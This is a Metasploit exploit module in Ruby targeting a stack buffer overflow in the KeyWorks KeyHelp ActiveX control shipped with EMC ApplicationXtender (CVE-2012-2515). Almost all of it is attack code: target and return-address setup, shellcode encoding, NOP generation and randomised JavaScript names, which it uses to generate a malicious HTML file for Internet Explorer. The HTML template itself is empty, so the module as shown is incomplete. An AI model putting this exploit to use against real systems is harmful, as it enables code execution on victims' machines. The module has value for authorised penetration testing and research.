## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super( update_info( info, 'Name' => 'EMC ApplicationXtender (KeyWorks) ActiveX Control Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in the KeyWorks KeyHelp ActiveX Control (KeyHelp.ocx 1.2.3120.0). This ActiveX Control comes bundled with EMC's Documentation ApplicationXtender 5.4. }, 'License' => MSF_LICENSE, 'Author' => [ 'MC' ], 'References' => [ [ 'CVE', '2012-2515' ], [ 'OSVDB', '58423'], [ 'BID', '36546' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'DisablePayloadHandler' => true }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00", }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0A0A0A0A } ] ], 'DisclosureDate' => '2009-09-29', 'DefaultTarget' => 0, 'Notes' => { 'Reliability' => UNKNOWN_RELIABILITY, 'Stability' => UNKNOWN_STABILITY, 'SideEffects' => UNKNOWN_SIDE_EFFECTS } ) ) register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.html']), ] ) end def exploit # Encode the shellcode. shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Create some nops. nops = Rex::Text.to_unescape(make_nops(4)) # Set the return. ret = Rex::Text.uri_encode([target.ret].pack('L')) # Randomize the javascript variable names. vname = rand_text_alpha(rand(100) + 1) var_i = rand_text_alpha(rand(30) + 2) rand1 = rand_text_alpha(rand(100) + 1) rand2 = rand_text_alpha(rand(100) + 1) rand3 = rand_text_alpha(rand(100) + 1) rand4 = rand_text_alpha(rand(100) + 1) rand5 = rand_text_alpha(rand(100) + 1) rand6 = rand_text_alpha(rand(100) + 1) rand7 = rand_text_alpha(rand(100) + 1) rand8 = rand_text_alpha(rand(100) + 1) html = %Q| | print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(html) end end